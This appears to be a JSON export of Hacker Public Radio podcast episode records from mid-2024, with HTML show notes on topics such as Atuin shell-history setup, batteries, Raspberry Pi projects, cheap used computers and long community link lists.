                                                            C4 Plastic Explosive - https://www.military.com/video/ammunition-and-explosives/explosives/c4-explained/1367499806001

                                                            \n

                                                            Battleship New Jersey - https://www.battleshipnewjersey.org/

                                                            \n

                                                            B-52 - https://stratofortress.org/history/

                                                            \n

                                                            Wagner Military Group - https://en.wikipedia.org/wiki/Wagner_Group

                                                            \n

                                                            John Ringo - https://www.simonandschuster.com/authors/John-Ringo/1875432

                                                            \n

                                                            Ghost (John Ringo book) - https://www.kirkusreviews.com/book-reviews/john-ringo/ghost-3/

                                                            \n

                                                            Battleship Wisconsin - https://nauticus.org/explore/battleship-exhibits/about-the-battleship/

                                                            \n

                                                            Jules Verne - https://www.biography.com/authors-writers/jules-verne

                                                            \n

                                                            M28/M29 Davy Crockett Tactical Nuclear Weapon - https://armyhistory.org/the-m28m29-davy-crockett-nuclear-weapon-system/

                                                            \n

                                                            PTSD - https://www.psychiatry.org/patients-families/ptsd/what-is-ptsd

                                                            \n

                                                            Autistic Spectrum - https://www.cdc.gov/ncbddd/autism/signs.html

                                                            \n

                                                            Dyslexia - https://www.mayoclinic.org/diseases-conditions/dyslexia/symptoms-causes/syc-20353552

                                                            \n

                                                            Boston - https://www.boston.gov/visiting-boston

                                                            \n

                                                            Clinical Depression - https://www.nimh.nih.gov/health/topics/depression

                                                            \n

                                                            Maine - https://visitmaine.com/

                                                            \n

                                                            Spread Spectrum Communications - https://www.edn.com/what-is-spread-spectrum-technology/

                                                            \n

                                                            Israeli Army Unit that recruits autistic teens - https://www.theatlantic.com/health/archive/2016/01/israeli-army-autism/422850/

                                                            \n

                                                            Open Source - https://opensource.com/resources/what-open-source

                                                            \n

                                                            New Years Resolution - https://www.newsweek.com/new-years-resolution-2022-meaning-origin-ideas-1662947

                                                            \n

                                                            Mini HDMI Cable - https://www.howtogeek.com/745530/hdmi-vs-mini-hdmi-vs-micro-hdmi-whats-the-difference/

                                                            \n

                                                            LibreOffice Impress - https://www.libreoffice.org/discover/impress/

                                                            \n

                                                            Powerpoint - https://www.microsoft.com/en-us/microsoft-365/powerpoint

                                                            \n

                                                            Google Drive - https://www.google.com/drive/

                                                            \n

                                                            GPD Win 4 - https://www.gpd.hk/gpdwin4

                                                            \n

                                                            Coreboot - https://www.coreboot.org/

                                                            \n

                                                            Libreboot - https://libreboot.org/

                                                            \n

                                                            FOSDEM - https://fosdem.org/2024/

                                                            \n

                                                            BIOS - https://computer.howstuffworks.com/bios.htm

                                                            \n

                                                            X11 - https://www.baeldung.com/linux/x11

                                                            \n

                                                            Wayland - https://wayland.freedesktop.org/

                                                            \n

                                                            Gnome 3 - https://www.gnome.org/getting-gnome/

                                                            \n

                                                            Mate - https://mate-desktop.org/

                                                            \n

                                                            Xorg - https://wiki.archlinux.org/title/Xorg

                                                            \n

                                                            Open Suse - https://www.opensuse.org/

                                                            \n

                                                            KDE - https://kde.org/

                                                            \n

                                                            Unity - https://unityd.org/

                                                            \n

                                                            Chromebook - https://www.google.com/chromebook/

                                                            \n

                                                            ASUS EEE PC 901 - https://www.laptopmag.com/reviews/laptops/asus-eee-pc-901

                                                            \n

                                                            ASUS EEE PC X101CH - https://www.cnet.com/reviews/asus-eee-pc-x101ch-review/

                                                            \n

                                                            Star Labs - https://us.starlabs.systems/?shpxid=fc6f3491-925e-4b6c-aba5-4477924fc432

                                                            \n

                                                            Pulse Audio - https://www.freedesktop.org/wiki/Software/PulseAudio/

                                                            \n

                                                            Obsessive Compulsive Disorder (OCD) - https://www.nimh.nih.gov/health/topics/obsessive-compulsive-disorder-ocd

                                                            \n

                                                            STEM (Science, Technology, Engineering, & Math) - https://www.lifewire.com/what-is-stem-4150175

                                                            \n","hostid":269,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"new years,linux,community","version":0,"downloads":0,"valid":1}, {"id":4140,"date":"2024-06-14","title":"Battery and Charging Technology 2024","duration":939,"summary":"Interesting new developments in batteries and charging","notes":"

                                                            It is obvious to most people that we need to stop burning fossil\nfuels to prevent even worse global climate change. Options like solar\npanels and windmills are options for providing clean renewable\nelectricity, but since so much of our fossil fuel use is for\ntransportation, we need to make strides in improving batteries and\ncharging. Fortunately there have been some very positive developments\nthat will show up within just a few years

                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            • https://fortune.com/2023/11/23/us-electric-vehicle-sales-2023-record/
                                                            • \n
                                                            • https://www.caranddriver.com/news/a45942785/toyota-future-ev-battery-plans/
                                                            • \n
                                                            • https://global.honda/en/tech/All-solid-state_battery_technology/
                                                            • \n
                                                            • https://seas.harvard.edu/news/2024/01/solid-state-battery-design-charges-minutes-lasts-thousands-cycles
                                                            • \n
                                                            • https://www.newscientist.com/article/2398896-what-are-solid-state-batteries-and-why-do-we-need-them
                                                            • \n
                                                            • https://en.wikipedia.org/wiki/Solid-state_battery
                                                            • \n
                                                            • https://en.wikipedia.org/wiki/Blade_battery
                                                            • \n
                                                            • https://www.theguardian.com/business/2023/nov/21/breakthrough-battery-from-sweden-may-cut-dependency-on-china
                                                            • \n
                                                            • https://www.palain.com/battery-and-charging-technology-20240128/
                                                            • \n
                                                            \n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Battery, Electric Vehicles, EV charging","version":0,"downloads":0,"valid":1}, {"id":4141,"date":"2024-06-17","title":"Picade Console","duration":913,"summary":"Kevie talks about his experience and shares his thoughts on the Picade Console","notes":"

                                                            Continuing his series talking about some of his Raspberry Pi projects, TuxJam co-host Kevie talks about his recent experience with the Picade Console from Pimoroni.

                                                            \n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Pi,Gaming,retro,Pimoroni","version":0,"downloads":0,"valid":1}, {"id":4142,"date":"2024-06-18","title":"A Shared Shell History With Atuin","duration":1673,"summary":"Install and Setup Atuin a utility to make your shell magical","notes":"

                                                            In this episode Marcus / mnw walks you through the install and\ninitial configuration of a shell history replacement called Atuin.

                                                            \n

                                                            My first show I'm quite nervous!

                                                            \n

                                                            Config Options

                                                            \n

                                                            These are the settings suggested to change in the config file\n~/.config/atuin/config.toml

                                                            \n
                                                            auto_sync = true\n\nstyle = "compact"\n\ninline_height = 10\n\nenter_accept = false
                                                            \n

                                                            Trouble Shooting

                                                            \n

                                                            Is my postgresql working ?

                                                            \n

                                                            psql -d \"postgres://atuin:ak4hTNms5Y@127.0.0.1:5432/atuin\" -c \"select now()\"

                                                            \n

                                                            Is my service running?

                                                            \n

                                                            service atuin status

                                                            \n

                                                            Syncing

                                                            \n

                                                            On the first host you register on you want to grab your key.

                                                            \n

                                                            atuin key

                                                            \n

                                                            Then login and use that key on the other clients with

                                                            \n

                                                            atuin login -u username -k \"the word soup from the atuin key command\"

                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            • Project - https://atuin.sh
                                                            • \n
                                                            • Server Guide - https://forum.atuin.sh/t/guide-how-to-setup-an-atuin-server/198
                                                            • \n
                                                            • Socials and about me - https://mnw.sdf.org
                                                            • \n
                                                            \n","hostid":432,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"atuin, cli, shell, how-to ","version":0,"downloads":0,"valid":1}, {"id":4143,"date":"2024-06-19","title":"Learning to touch-type using the Dvorak keyboard layout","duration":545,"summary":"Why I chose Dvorak and some tools I found useful","notes":"

                                                            After 40 years of 'hunt and peck' typing I finally bit the bullet and learned to touch type, using the Dvorak keyboard layout.

                                                            \n

                                                            I found plenty of online tools and listings of software designed to help, and I cover some of these in this episode.

                                                            \n\n

                                                            Links:
                                                            \ntyping.com
                                                            \nkeybr.com
                                                            \ntoipe

                                                            \n

                                                            Lots more links and software: typingsoft.com
                                                            \nDvorak layout on Wikipedia

                                                            \n

                                                            Contact the host: enistello at tuta dot io

                                                            \n","hostid":415,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"typing,keyboards,software","version":0,"downloads":0,"valid":1}, {"id":4144,"date":"2024-06-20","title":"Running a Self-Hosted Mail Server","duration":703,"summary":"Experiences using iRedMail and mailcow","notes":"

                                                            Links

                                                            \n\n","hostid":403,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"email, self-hosting","version":0,"downloads":0,"valid":1}, {"id":4145,"date":"2024-06-21","title":"Review of the Riwbox TX8","duration":351,"summary":"I talk about the Riwbox TX8 and why I love it so much","notes":"

                                                            Riwbox\nTX8 Bluetooth Headphones

                                                            \n","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"headphones, bluetooth, wireless","version":0,"downloads":0,"valid":1}, {"id":4146,"date":"2024-06-24","title":"Pi 5 - Some initial thoughts","duration":886,"summary":"After playing around with the Pi5 for a couple of months, Kevie shares his experiences.","notes":"

                                                            Kevie, co-host of the TuxJam podcast, shares his thoughts on his recent purchase of the Raspberry Pi 5. Deciding to try this out to see if it could operate as a realistic day-to-day desktop PC, he opted for the Pimoroni NVMe Base along with a 512GB SSD drive. The links to the products in this episode:

                                                            \n\n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry Pi, Pi5, Arm64","version":0,"downloads":0,"valid":1}, {"id":4147,"date":"2024-06-25","title":"Review of the Moto G 5G 2020","duration":828,"summary":"I talk about the phone, what I like and what I don't like about it","notes":"

                                                            Motorola\nMoto G 5G

                                                            \n","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"android, motorola, t-mobile, phone, cellphone","version":0,"downloads":0,"valid":1}, {"id":4148,"date":"2024-06-26","title":"Cheap Computers","duration":222,"summary":"Buy Used, Run Long","notes":"

                                                            Buying Cheap Computers

                                                            \n

                                                            Hi. I'm Moss Bliss. You may have heard me on mintCast, Distrohoppers'\nDigest, or Full Circle Weekly News.

                                                            \n

                                                            I keep hearing people complain that they can't find a decent computer\nunder $2,000. My response is: lower your expectations, and help end\ndigital waste. Do you really need a top-end gaming machine? Most games\nwill run on older computers just fine. And there are LOTS of 2016 models\n(and a few newer years) coming off office leases.

                                                            \n

                                                            My suggestion is the Lenovo ThinkCentre M700 Tiny; I will have other\nsuggestions later in the podcast, but this is what I went with an have\npersonal experience. The M700 Tiny is a box about the size of an older\nexternal DVD drive, with your choice of an i3, i5 or i7 processor, up to\n64 Gb RAM, and a power supply sipping away at up to 35 watts. If you go\non eBay or your local equivalent, you can find these for ridiculously\nlow prices.

                                                            \n

                                                            My recommendation is to go for a box with an i5, 8 or 16 Gb RAM, with\nor without a drive. You can find them even cheaper if you search for \"no\nOS\", which frequently still includes the drive, but SSDs are quite cheap\nthese days so it hardly matters. I recommend the i5 rather than the i7\nbecause, in the 2016 models, the i7 wasn't much more than a heat\nproducer compared to the i5 but no faster, and the i5-based machines are\noften $100-150 cheaper.

                                                            \n

                                                            Of course I recommend putting the Linux of your choice on these\nmachines when you get it.

                                                            \n

                                                            You will need a monitor and keyboard for this. If you don't already\nhave one, I would suggest looking locally for a used 26\" LCD/LED TV. You\nwill also want a cable for it, and you can either get a DisplayPort\ncable while you're at eBay, or a DP-to-HDMI adapter to use the HDMI\ncable which probably comes with the TV. For a keyboard, you should go to\nyour local big box store and get one you like, if you don't want to buy\nused. You can find them from $5 to $20.

                                                            \n

                                                            I apologize for my US-centric prices, but you should have similar\nprices in your local currency if you have eBay or something like it.

                                                            \n

                                                            I just did a quick lookup for \"M700 Tiny No OS\" on eBay, and saw i5\nmachines which were purported to work from between $80 and $120 with 8\nGb RAM. Be careful to watch for shipping prices, I see a particularly\ngood-looking refurbished model with 16 GB for under $120 -- but the\nshipping is over $35 from Australia!

                                                            \n

                                                            If you want an AMD chip, you'll need to research the model number...\nbut they do make them, just not as many.

                                                            \n

                                                            If you don't like Lenovo, you can find Dells and HP EliteDesks in the\nsame range. One good thing about the HPs is that they label which\ngeneration they are -- G2, G3, G4. Newer generations cost more, but will\nbe more future-proof. There is currently an HP EliteDesk 800 G2 with 8\nGb RAM and No OS on eBay for $50! Again, if you buy a G3 or G4 it will\ncost more, but be a newer machine as well.

                                                            \n

                                                            These are all 64-bit quad-core computers, some over 3 GHz, with low\npower demands. Cheap to buy, cheap to use. Any version of Linux will run\non them, and if you're desperate you can run Windows 10 on them as\nwell.

                                                            \n

                                                            That should be enough to get you started. If you have questions,\nwrite me at bardmoss@pm.me.

                                                            \n

                                                            Hacker Public Radio needs more podcasts, on any topic and any length.\nGet in touch with Ken and volunteer! This is my second wholly unplanned\npodcast on HPR; you could be next!

                                                            \n","hostid":431,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"computer, cheap, Lenovo, HP, Dell, used","version":0,"downloads":0,"valid":1}, {"id":4149,"date":"2024-06-27","title":"HPR New Years Eve Show 2023 - 24 ep 2","duration":6736,"summary":"the HPR community comes together to converse ","notes":"
                                                              \n
                                                            • Las Vegas
                                                            • \n
                                                            • Las Vegas
                                                            • \n
                                                            • Las\nVegas
                                                            • \n
                                                            • Florida
                                                            • \n
                                                            • Florida
                                                            • \n
                                                            • North\nCarolina
                                                            • \n
                                                            • North Carolina
                                                            • \n
                                                            • Wales
                                                            • \n
                                                            • Wales
                                                            • \n
                                                            • Wales
                                                            • \n
                                                            • sugar\nloaf
                                                            • \n
                                                            • sugar\nloaf
                                                            • \n
                                                            • sugar\nloaf
                                                            • \n
                                                            • Scotland
                                                            • \n
                                                            • Scotland
                                                            • \n
                                                            • Scotland
                                                            • \n
                                                            • Skiing
                                                            • \n
                                                            • Retirement
                                                            • \n
                                                            • Retirement
                                                            • \n
                                                            • Retirement
                                                            • \n
                                                            • Retirement
                                                            • \n
                                                            • Retirement
                                                            • \n
                                                            • Star Labs
                                                            • \n
                                                            • StarBook
                                                            • \n
                                                            • StarLite
                                                            • \n
                                                            • StarFighter
                                                            • \n
                                                            • Dual-boot\nLinux and Windows
                                                            • \n
                                                            • Dual-boot\nLinux and Windows
                                                            • \n
                                                            • fosdem:
                                                            • \n
                                                            • fosdem:
                                                            • \n
                                                            • autism
                                                            • \n
                                                            • autism
                                                            • \n
                                                            • Ménière's\nDisease
                                                            • \n
                                                            • Ménière's\nDisease
                                                            • \n
                                                            • Wayland
                                                            • \n
                                                            • X Window\nSystem
                                                            • \n
                                                            • What is\nADHD
                                                            • \n
                                                            • What\nis ADHD
                                                            • \n
                                                            • myth\nof vaccination and autism spectrum
                                                            • \n
                                                            • myth of\nvaccination and autism spectrum
                                                            • \n
                                                            • Space\ndebris
                                                            • \n
                                                            • Space\ndebris
                                                            • \n
                                                            • Space\ndebris
                                                            • \n
                                                            • hpr3904 ::\nHow to make friends
                                                            • \n
                                                            • hpr3942 ::\nRE: How to make friends.
                                                            • \n
                                                            • hpr3961 ::\nRERE: How to make friends.
                                                            • \n
                                                            • hpr3971 ::\nRERERE: How to make friends.
                                                            • \n
                                                            • Asperger\nsyndrome
                                                            • \n
                                                            • Stigma for\ndisabled individuals and their family: A systematic review.
                                                            • \n
                                                            • Stigma\nresearch in the field of intellectual disabilities...
                                                            • \n
                                                            • Python\n(programming language).
                                                            • \n
                                                            • Python
                                                            • \n
                                                            • Python Docs
                                                            • \n
                                                            • Beginner's\nGuide to Python
                                                            • \n
                                                            • Managing\nApplication Dependencies.
                                                            • \n
                                                            • Sweden
                                                            • \n
                                                            • visitsweden:\nCurrency, credit cards and money in Sweden.
                                                            • \n
                                                            • United\nKingdom - The World Factbook
                                                            • \n
                                                            • United\nKingdom
                                                            • \n
                                                            • United\nKingdom
                                                            • \n
                                                            • wikipedia: Brexit\n(a portmanteau of \"British exit\") was the withdrawal of the United\nKingdom (UK) from the European Union (EU) at 23:00 GMT on 31 January\n2020 (00:00 1 February 2020 CET). The UK is the only sovereign country\nto have left the EU or the EC.
                                                            • \n
                                                            • Brussels
                                                            • \n
                                                            • Brussels
                                                            • \n
                                                            • Stockholm\nArlanda Airport
                                                            • \n
                                                            • Swedish\npassport.
                                                            • \n
                                                            • Sweden\nInternational Travel Information
                                                            • \n
                                                            • Welcome to the website of\nSweden's embassies and consulates.
                                                            • \n
                                                            • Travelling\nin the EU.
                                                            • \n
                                                            • Automated\nborder control system.
                                                            • \n
                                                            • Turkey -\nWikipedia
                                                            • \n
                                                            • Turkey\n(Turkiye)
                                                            • \n
                                                            • Turkey\n(Turkiye)
                                                            • \n
                                                            • Mainland\nChina
                                                            • \n
                                                            • Hong\nKong
                                                            • \n
                                                            • Beijing
                                                            • \n
                                                            • Shenzhen
                                                            • \n
                                                            • Spain -\nWikipedia
                                                            • \n
                                                            • Snow\nglobe
                                                            • \n
                                                            • List of\nmuseums in Brussels
                                                            • \n
                                                            • Atomium
                                                            • \n
                                                            • Atomium
                                                            • \n
                                                            • Never\nGo Barefoot Through Airport TSA Checkpoints!
                                                            • \n
                                                            • Here's\nWhy You Should Never Go Barefoot on a Plane.
                                                            • \n
                                                            • TSA PreCheck
                                                            • \n
                                                            • TSA\nPreCheck
                                                            • \n
                                                            • How\ndo I apply for TSA PreCheck
                                                            • \n
                                                            • Second Annual International\nCopyleft Conference
                                                            • \n
                                                            • Copyleft
                                                            • \n
                                                            • Copyleft
                                                            • \n
                                                            • Copyleft
                                                            • \n
                                                            • The Free Software Foundation\n
                                                            • \n
                                                            • Software Freedom\nConservancy
                                                            • \n
                                                            • Mark\nShuttleworth
                                                            • \n
                                                            • Mark\nShuttleworth
                                                            • \n
                                                            • stallman: Richard Stallman's\nPersonal Site.
                                                            • \n
                                                            • Duck\nDuck Go: Bradley Coon
                                                            • \n
                                                            • Ubuntu Summit\n2023
                                                            • \n
                                                            • Redhat
                                                            • \n
                                                            • Rocky Linux
                                                            • \n
                                                            • AlmaLinux
                                                            • \n
                                                            • Centos
                                                            • \n
                                                            • ubuntu: Ubuntu is a Linux\ndistribution based on Debian and composed mostly of free and open-source\nsoftware.
                                                            • \n
                                                            • ubports: We are building a secure\n& private operating system for your smartphone.
                                                            • \n
                                                            • Ubuntu\nTouch
                                                            • \n
                                                            • Ubuntu Touch
                                                            • \n
                                                            • Ubuntu Touch Apps
                                                            • \n
                                                            • Firefox\nOS
                                                            • \n
                                                            • Firefox OS
                                                            • \n
                                                            • Firefox\nOS
                                                            • \n
                                                            • Firefox\nOS Features Guide
                                                            • \n
                                                            • sailfishos: The mobile OS with\nbuilt-in privacy.
                                                            • \n
                                                            • Fairphone We are\nFairphone. An Amsterdam-based electronics company.
                                                            • \n
                                                            • Fairphone Fairphone is\na Dutch electronics manufacturer that designs and produces smartphones\nand headphones.
                                                            • \n
                                                            • Hello\nWorld magazine by educators for educators One hundred pages of\nin-depth discussion, project ideas, lesson plans, news, and\nreviews.
                                                            • \n
                                                            • Fire\nTV Sticks, Streaming Devices, Smart TVs & More | Amazon
                                                            • \n
                                                            • Amazon\nLinux 2023, a Cloud-Optimized Linux Distribution with Long-Term\nSupport Every generation of Amazon Linux distribution is secured,\noptimized for the cloud, and receives long-term AWS support. We built\nAmazon Linux 2023 on these principles, and we go even further. Deploying\nyour workloads on Amazon Linux 2023 gives you three major benefits: a\nhigh-security standard, a predictable lifecycle, and a consistent update\nexperience.
                                                            • \n
                                                            • Linux\nfrom AWS Whether you are looking for an operating system to host\nyour general-purpose workloads or a purpose-built operating system to\nhost containers, AWS offers you a portfolio of security-focused, stable,\nand high performance Linux-based operating systems.
                                                            • \n
                                                            • Windows Phone Windows\nPhone (WP) is a discontinued mobile operating system developed by\nMicrosoft for smartphones as the replacement successor to Windows Mobile\nand Zune.
                                                            • \n
                                                            • Microsoft’s\nSamsung action After becoming the leading player in the worldwide\nsmartphone market, Samsung decided late last year to stop complying with\nits agreement with Microsoft. In September 2013, after Microsoft\nannounced it was acquiring the Nokia Devices and Services business,\nSamsung began using the acquisition as an excuse to breach its\ncontract.
                                                            • \n
                                                            • Samsung Galaxy S III\nMini The Samsung Galaxy S III Mini (stylized as Samsung GALAXY S III\nmini, model number: GT-I8190) is a touchscreen-based, slate-sized\nsmartphone designed and manufactured by Samsung.
                                                            • \n
                                                            • Samsung Galaxy S\nIII Mini Like its big brother Galaxy S III, Galaxy S III mini\ndelivers a world of possibilities for sharing, interaction, and\nentertainment-but in a smaller package. See your content look more\nbrilliant and vivid with a Super AMOLED™ display and enjoy the premium\nGalaxy camera modes and intuitive user interface.
                                                            • \n
                                                            • spectrum\nSwitch to Spectrum for incredible savings and seamless connectivity\nwith...
                                                            • \n
                                                            • spectrum\nSign up for Spectrum Internet® and get Advanced WiFi and an Unlimited\nMobile...
                                                            • \n
                                                            • ZX Spectrum Vega+ The\nZX Spectrum Vega+ is a handheld game console based on the ZX Spectrum\nand designed by Rick Dickinson as a follow-up to the ZX Spectrum Vega\nhandheld TV game which was released in 2015. Only a small number of\nVega+ machines were released, before Retro Computers (who manufactured\nthe devices) was wound up.
                                                            • \n
                                                            • youtube.com: Sinclair ZX Spectrum\nVega+ Handheld - Review & Overview
                                                            • \n
                                                            • wikipedia: Accelerated\nGraphics Port (AGP) is a parallel expansion card standard, designed for\nattaching a video card to a computer system to assist in the\nacceleration of 3D computer graphics.
                                                            • \n
                                                            • wikipedia:\nHardware acceleration is the use of computer hardware\ndesigned to perform specific functions more efficiently when compared to\nsoftware running on a general-purpose central processing unit (CPU). Any\ntransformation of data that can be calculated in software running on a\ngeneric CPU can also be calculated in custom-made hardware, or in some\nmix of both.
                                                            • \n
                                                            • wikipedia: ZX\nSpectrum Next is an 8-bit home computer, initially released in\n2017, which is compatible with software and hardware for the 1982 ZX\nSpectrum. It also has enhanced capabilities.
                                                            • \n
                                                            • wikipedia: The\nZX Spectrum 128 is similar to the ZX Spectrum+, with the\nexception of a large external heatsink for the internal 7805 voltage\nregulator added to the right hand end of the case, replacing the\ninternal heatsink in previous versions.
                                                            • \n
                                                            • wikipedia: In Sweden,\nthe standard time is Central European Time (CET; UTC+01:00; Swedish:\ncentraleuropeisk tid). Daylight saving time is observed from the last\nSunday in March (02:00 CET) to the last Sunday in October (03:00 CEST).\nSweden adopted CET in 1900.
                                                            • \n
                                                            • wikipedia:\nLapland, also known by its Swedish name Lappland\n(Northern Sami: Sápmi, Finnish: Lappi, Latin: Lapponia), is a province\nin northernmost Sweden.
                                                            • \n
                                                            • raspberrypi: single board\ncomputers.
                                                            • \n
                                                            • mxlinux:\nMX Linux is a cooperative venture between the antiX and\nMX Linux communities.
                                                            • \n
                                                            • raspbian: Raspbian is\nnot affiliated with the Raspberry Pi Foundation. Raspbian was created by\na small, dedicated team of developers that are fans of the Raspberry Pi\nhardware, the educational goals of the Raspberry Pi Foundation and, of\ncourse, the Debian Project.
                                                            • \n
                                                            • raspberrypi: Many operating systems\nare available for Raspberry Pi, including Raspberry Pi\nOS, our official supported operating system, and operating\nsystems from other organisations.
                                                            • \n
                                                            • joeress:\nI’m Joe Ressington. I’m a freelance podcast producer, host, and editor.\nI’m the head of the Late Night Linux Family of podcasts.
                                                            • \n
                                                            • linuxacademy:\nError: can’t connect to the server at\nlinuxacademy.com
                                                            • \n
                                                            • wikipedia:\nCunt: In informal British, Irish, New Zealand, and\nAustralian English, and occasionally but to a lesser extent in Canadian\nEnglish, it can be used with no negative connotations to refer to a\n(usually male) person. In this sense, it may be modified by a positive\nqualifier (funny, clever, etc.). For example, \"This is my mate Brian.\nHe's a good cunt.
                                                            • \n
                                                            • debian: Debian, also known as\nDebian GNU/Linux, is a Linux distribution composed of free and\nopen-source software, developed by the community-supported Debian\nProject, which was established by Ian Murdock on August 16, 1993.
                                                            • \n
                                                            • xfce: Xfce or XFCE is a free and\nopen-source desktop environment for Linux and other Unix-like operating\nsystems.
                                                            • \n
                                                            • snapcraft: Snaps are\ncontainerised software packages that are simple to create and install.\nThey auto-update and are safe to run.
                                                            • \n
                                                            • flatpak: Flatpak is developed by\nan independent community, made up of contributors, volunteers and\nsupporting organizations. It is a true upstream open source project,\ndedicated to providing technology and services that can be used by all,\nwith no vendor lock-in. We have strong links to other Free Software\nprojects, including the Freedesktop project.
                                                            • \n
                                                            • raspberrypi:\nRaspberry Pi computers and microcontrollers
                                                            • \n
                                                            • ubuntu: Apt-Cache-ng is A\ncaching proxy. Specialized for package files from Linux distributors,\nprimarily for Debian (and Debian based) distributions but not limited to\nthose.
                                                            • \n
                                                            • mumble: Mumble is a free,\nopen source, low latency, high quality voice chat application.
                                                            • \n
                                                            • wikipedia: Pepsi Max\n(also known as Pepsi Zero Sugar and Pepsi Black in some countries) is a\nlow-calorie, sugar-free cola, marketed by PepsiCo as an alternative to\nPepsi and Diet Pepsi, except for the United Kingdom and Norway, where it\nis the main Pepsi flavor.
                                                            • \n
                                                            • alcoholism:\nAlcoholism is a condition that develops over time as\nsomeone continues to abuse alcohol. The result of alcoholism is the\ninability to control the urge to drink alcohol.
                                                            • \n
                                                            • wikipedia: The Swiss\nArmy knife is a pocketknife, generally multi-tooled, now manufactured by\nVictorinox. The term \"Swiss Army knife\" was coined by American soldiers\nafter World War II after they had trouble pronouncing the German word\n\"Offiziersmesser\", meaning \"officer’s knife\".
                                                            • \n
                                                            • wikipedia: \"It ain't\nover till (or until) the fat lady sings\" is a colloquialism which is\noften used as a proverb. It means that one should not presume to know\nthe outcome of an event which is still in progress.
                                                            • \n
                                                            • wikipedia: In\nelectrical engineering, a transformer is a passive\ncomponent that transfers electrical energy from one electrical circuit\nto another circuit, or multiple circuits.
                                                            • \n
                                                            • wikipedia: A\ndistribution transformer or service transformer is a\ntransformer that provides the final voltage transformation in the\nelectric power distribution system, stepping down the voltage used in\nthe distribution lines to the level used by the customer.
                                                            • \n
                                                            • wikipedia: In news\nmedia and social media, an echo chamber is an\nenvironment or ecosystem in which participants encounter beliefs that\namplify or reinforce their preexisting beliefs by communication and\nrepetition inside a closed system and insulated from rebuttal.
                                                            • \n
                                                            • wikipedia: An\necho chamber is a hollow enclosure used to produce\nreverberation, usually for recording purposes.
                                                            • \n
                                                            • wikipedia:\nSocial media are interactive technologies that\nfacilitate the creation, sharing and aggregation of content, ideas,\ninterests, and other forms of expression through virtual communities and\nnetworks.
                                                            • \n
                                                            • joinmastodon: Social\nnetworking that's not for sale.
                                                            • \n
                                                            • telegram: Telegram is a\ncloud-based mobile and desktop messaging app with a focus on security\nand speed.
                                                            • \n
                                                            • discord: A place that makes it\neasy to talk every day and hang out more often.
                                                            • \n
                                                            • mozilla:\nFirefox Multi-Account Containers lets you keep parts of\nyour online life separated into color-coded tabs. Cookies are separated\nby container, allowing you to use the web with multiple accounts and\nintegrate Mozilla VPN for an extra layer of privacy.
                                                            • \n
                                                            • rocketmortgage:\nDid you know that manufactured homes used to be more commonly referred\nto as mobile homes? That is until 1976, when Congress passed the\nNational Manufactured Housing Construction and Safety Standards Act,\nwhich authorized the U.S. Department of Housing and Urban Development\n(HUD) to create construction standards for manufactured homes.
                                                            • \n
                                                            • audiobookshelf:
                                                            • \n
                                                            • goodreads: The BSD North conference\ndraws some of the smartest people in the world. These few days will\nvalidate Dale Whitehead’s work—or expose him as a fraud.
                                                            • \n
                                                            • goodreads: Demon Squad\nSeries.
                                                            • \n
                                                            • goodreads: Sandman Slim\nSeries.
                                                            • \n
                                                            • goodreads:\nCase Files of Henri Davenforth Series.
                                                            • \n
                                                            • snapcraft:\nNextcloud Server - A safe home for all your data.
                                                            • \n
                                                            • tubitv: free Movies\n& TV Fewer Ads than Cable No Subscription Required\nThousands of movies and TV shows. Always Free. 100% Legal.
                                                            • \n
                                                            • wikipedia: Pluto TV is\na free ad-supported streaming television (FAST) service owned and\noperated by the Paramount Streaming division of Paramount Global.
                                                            • \n
                                                            • animalhumanesociety: Animal Humane\nSociety provides post-surrender euthanasia services for pet owners at a\nreduced cost.
                                                            • \n
                                                            \n","hostid":269,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"new years,linux,community","version":0,"downloads":0,"valid":1}, {"id":4150,"date":"2024-06-28","title":"Playing Civilization III, Part 4","duration":937,"summary":"We continue to look at the details of playing this game","notes":"

                                                            This continues our look at the details of playing Civilization III.\nHere we tackle a favorite topic, war and conquest. Many people play\ngames like this just to enjoy sending their armies out to wreak havoc on\ntheir enemies. So we'll look at how that can be done in Civilization\nIII.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization III","version":0,"downloads":0,"valid":1}, {"id":4151,"date":"2024-07-01","title":"HPR Community News for June 2024","duration":4857,"summary":"HPR Volunteers talk about shows released and comments posted in June 2024","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n mnw.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4131Mon2024-06-03HPR Community News for May 2024HPR Volunteers
                                                            4132Tue2024-06-04Urandom talks about the future of HPRThaj Sara
                                                            4133Wed2024-06-05Mastodon as a way to comment to HPR episodesnorrist
                                                            4134Thu2024-06-06Goodbye Craig Maloney. Ken Fallon
                                                            4135Fri2024-06-07Mining the webCedric De Vroey
                                                            4136Mon2024-06-10Pi Samba ShareKevie
                                                            4137Tue2024-06-11I used reisub key sequence to reboot my frozen Linux computerHenrik Hemrin
                                                            4138Wed2024-06-12Linux Gaming: FactorioCedric De Vroey
                                                            4139Thu2024-06-13HPR New Years Eve Show 2023 - 24 ep 1Honkeymagoo
                                                            4140Fri2024-06-14Battery and Charging Technology 2024Ahuka
